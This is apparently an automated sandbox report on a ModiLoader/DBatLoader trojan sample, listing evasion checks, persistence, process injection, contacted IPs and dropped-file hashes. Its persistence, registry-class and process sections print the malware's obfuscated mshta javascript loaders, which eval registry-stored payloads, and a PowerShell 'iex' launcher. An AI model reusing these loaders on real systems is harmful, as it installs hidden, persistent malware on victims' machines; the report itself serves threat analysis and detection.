Malware Analysis Report

2024-10-19 07:03

Sample ID 240508-enb39ahg4s
Target 231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118
SHA256 562ba4904106bb5d15d9ff98c67076ad64759de1512e189f590c3986fa14b5d8
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

562ba4904106bb5d15d9ff98c67076ad64759de1512e189f590c3986fa14b5d8

Threat Level: Known bad

The file 231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

ModiLoader Second Stage

Looks for VirtualBox drivers on disk

Looks for VirtualBox Guest Additions in registry

Checks for common network interception software

Looks for VMWare Tools registry key

Checks BIOS information in registry

Drops startup file

Deletes itself

Adds Run key to start application

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Unsigned PE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Suspicious behavior: MapViewOfSection

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-08 04:04

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-08 04:04

Reported

2024-05-08 04:07

Platform

win7-20240419-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3011.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:mS6zSMx=\"Jzoi9Og\";A0a=new%20ActiveXObject(\"WScript.Shell\");bHFa84=\"R3\";I8lnD=A0a.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\epsehio\\\\uqkiailgu\");F5S8onOK=\"4JAsG0m\";eval(I8lnD);DB52nKdH=\"3X\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:VU0PhB5=\"S9F6HI\";j2Y7=new%20ActiveXObject(\"WScript.Shell\");YvJu9tVQ=\"hI\";Ze5z0R=j2Y7.RegRead(\"HKCU\\\\software\\\\epsehio\\\\uqkiailgu\");XcqKa5=\"3f4LL7\";eval(Ze5z0R);KbuK2O1F=\"H\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\43e4\\fa89.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\49a7\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:XSHqATk5=\"vOso\";Tf41=new ActiveXObject(\"WScript.Shell\");LA5yWlM=\"tFPPl1ki\";eHa9g6=Tf41.RegRead(\"HKCU\\\\software\\\\epsehio\\\\uqkiailgu\");JNFLxJ3=\"Rw9\";eval(eHa9g6);d7wZpzgx=\"aWxGq\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\.6f350 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\.6f350\ = "49a7" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\49a7 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\49a7\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\49a7\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\49a7\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2428 wrote to memory of 2464 N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe
PID 2648 wrote to memory of 2716 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2648 wrote to memory of 2716 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2648 wrote to memory of 2716 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2648 wrote to memory of 2716 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2716 wrote to memory of 1836 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2716 wrote to memory of 1836 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2716 wrote to memory of 1836 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2716 wrote to memory of 1836 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2716 wrote to memory of 1836 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2716 wrote to memory of 1836 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2716 wrote to memory of 1836 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2716 wrote to memory of 1836 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1836 wrote to memory of 1052 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1836 wrote to memory of 1052 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1836 wrote to memory of 1052 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1836 wrote to memory of 1052 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1836 wrote to memory of 1052 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1836 wrote to memory of 1052 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1836 wrote to memory of 1052 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1836 wrote to memory of 1052 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:KuJ0veuR2="y5fnkmm";dH99=new%20ActiveXObject("WScript.Shell");ACq4tS2s="La2yE";Ewm6W=dH99.RegRead("HKLM\\software\\Wow6432Node\\WbKqYpL\\EuI9vnci");ZkBAqjI5="dQsw9o7L";eval(Ewm6W);ln7rI8sR="e";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:xzsaijuw

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
NL 44.137.56.243:80 tcp
US 204.12.215.55:80 tcp
IN 61.3.59.185:80 tcp
US 214.11.75.251:8080 tcp
CO 186.31.176.224:80 tcp
US 107.14.206.106:80 tcp
KR 58.145.113.96:80 tcp
UA 109.200.241.116:80 tcp
JP 160.203.121.122:80 tcp
US 65.15.83.206:80 tcp
N/A 130.12.230.37:80 tcp
JP 153.229.24.153:443 tcp
VE 150.188.199.108:80 tcp
US 17.118.42.209:80 tcp
US 132.224.27.177:80 tcp
CH 51.107.21.209:443 tcp
IN 122.180.248.144:80 tcp
US 205.141.206.187:80 tcp
US 69.83.185.41:80 tcp
US 70.193.191.81:80 tcp
DE 153.17.183.118:80 tcp
LY 41.255.205.234:80 tcp
US 147.116.252.138:80 tcp
US 204.201.176.87:80 tcp
US 4.143.232.176:80 tcp
ES 81.40.178.74:80 tcp
GB 195.153.111.124:80 tcp
US 98.84.77.211:80 tcp
DE 79.200.15.103:8080 tcp
US 8.112.18.43:80 tcp
JP 110.163.115.72:80 tcp
US 69.138.120.87:80 tcp
PK 39.52.131.255:8080 tcp
GB 145.246.118.41:80 tcp
TW 106.105.240.7:80 tcp
FR 109.25.13.105:80 tcp
ID 111.95.150.130:80 tcp
US 75.81.94.150:80 tcp
US 215.248.234.197:80 tcp
IN 182.65.142.97:8080 tcp
TW 106.105.240.7:80 106.105.240.7 tcp
IT 195.120.131.179:80 tcp
BR 177.203.122.238:80 tcp
US 4.15.117.34:8080 tcp
US 150.196.243.113:80 tcp
ZA 105.241.184.58:80 tcp
DE 83.126.199.200:8080 tcp
ES 185.81.135.85:80 tcp
ID 112.215.105.209:80 tcp
US 47.237.171.14:443 tcp
NL 145.129.250.15:80 tcp
NL 145.208.20.25:80 tcp
US 170.232.18.219:8080 tcp
US 205.176.166.3:80 tcp
CN 110.152.169.239:80 tcp
N/A 10.223.137.6:80 tcp
ES 92.187.175.226:80 tcp
CN 119.132.18.49:80 tcp
US 208.254.207.104:80 tcp
CN 36.149.69.81:80 tcp
IT 37.176.171.235:80 tcp
US 155.50.231.174:80 tcp
US 32.166.227.210:80 tcp
MG 41.204.101.246:443 tcp
DK 152.115.137.213:80 tcp
US 199.63.152.79:80 tcp
US 156.4.83.218:80 tcp
US 67.87.183.135:80 tcp
IT 193.43.39.161:80 tcp
US 20.45.11.116:80 tcp
TT 196.32.38.222:80 tcp
US 63.198.212.48:443 tcp
BR 187.94.19.224:80 tcp
CN 47.98.180.158:80 tcp
FR 90.84.143.253:80 tcp
US 66.102.15.238:8080 tcp
US 98.89.202.207:80 tcp
US 199.19.154.178:80 tcp
JP 221.35.141.16:80 tcp
DE 89.50.51.88:80 tcp
KR 210.118.73.116:80 tcp
ES 85.52.224.104:80 tcp
US 151.108.33.136:80 tcp
AR 181.197.241.143:80 tcp
TW 118.232.57.9:80 tcp
GB 212.23.14.250:80 tcp
CN 210.39.122.244:80 tcp
US 68.172.192.191:80 tcp
US 198.125.173.14:80 tcp
IN 103.142.10.141:80 tcp
BR 191.222.27.52:80 tcp
US 12.131.14.79:80 tcp
TW 218.170.180.241:443 tcp
US 97.62.20.34:80 tcp
US 156.110.154.171:80 tcp
ES 83.247.173.68:80 tcp
US 129.145.222.64:80 tcp
US 108.205.88.22:80 tcp
NZ 121.74.163.73:80 tcp
CN 61.188.36.112:80 tcp
SE 144.57.229.92:80 tcp
US 214.98.182.75:80 tcp
US 21.65.43.198:80 tcp
GB 86.29.66.76:443 tcp
FR 62.161.161.81:80 tcp
US 23.171.93.250:443 tcp
TW 106.105.240.7:80 106.105.240.7 tcp
CN 183.67.93.163:80 tcp
KR 112.161.229.150:8080 tcp
CA 206.223.176.106:80 tcp
US 215.54.4.192:80 tcp
US 71.32.177.163:80 tcp
OM 151.104.140.39:80 tcp
JP 160.23.197.222:80 tcp
US 128.173.72.176:80 tcp
US 104.105.97.153:80 tcp
IT 79.55.68.236:80 tcp
TW 111.249.98.147:80 tcp
AR 157.92.112.187:80 tcp
US 20.84.213.15:80 tcp
US 68.168.226.239:80 tcp
IE 212.120.143.12:8080 tcp
JP 163.43.247.180:80 tcp
US 16.164.85.25:80 tcp
CN 1.63.219.143:80 tcp
ID 39.206.89.5:80 tcp
MX 187.211.71.99:80 tcp
CN 110.246.141.234:8080 tcp
US 73.93.27.158:80 tcp
US 21.197.150.54:80 tcp
AU 158.89.127.166:80 tcp
NZ 202.169.209.79:80 tcp
DE 37.94.130.53:80 tcp
KR 220.118.32.201:80 tcp
PL 46.205.104.133:80 tcp
US 136.20.248.254:80 tcp
NL 195.79.185.140:80 tcp
BR 181.221.110.68:80 tcp

Files

memory/2464-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2464-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2464-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2464-6-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2464-10-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2464-9-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2464-8-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2464-7-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2464-11-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2464-12-0x0000000000220000-0x00000000002F6000-memory.dmp

memory/2716-21-0x0000000005860000-0x0000000005936000-memory.dmp

memory/1836-23-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-25-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/2716-26-0x0000000005860000-0x0000000005936000-memory.dmp

memory/1836-32-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-27-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-36-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-28-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-29-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-30-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-31-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-33-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-34-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-58-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-40-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-43-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-59-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-66-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-57-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-56-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-55-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-54-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-49-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-48-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-47-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-46-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-45-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-44-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-42-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-41-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-39-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-38-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-37-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1836-35-0x00000000000F0000-0x0000000000231000-memory.dmp

memory/1052-72-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-87-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-86-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-85-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-84-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-83-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-81-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-79-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-78-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-76-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-75-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-74-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-73-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-82-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-80-0x00000000001F0000-0x0000000000331000-memory.dmp

memory/1052-77-0x00000000001F0000-0x0000000000331000-memory.dmp

C:\Users\Admin\AppData\Local\43e4\b67d.bat

MD5 27ce144177a8617384899301a2b4330f
SHA1 1dead7588f1982006065dc8a25deb05385fbe649
SHA256 fa24ed9d8ea201f657bfea7f56fc698a39216eecccdc29fc0a12dc3592badce4
SHA512 0724ac2a3c9321241afdaad3fed8923b5748a47fde6319daf4fd320420a0a20e5487c5c1e36bdea009c5e686371fd172832ba92e4e9086f307afb7d8c741608b

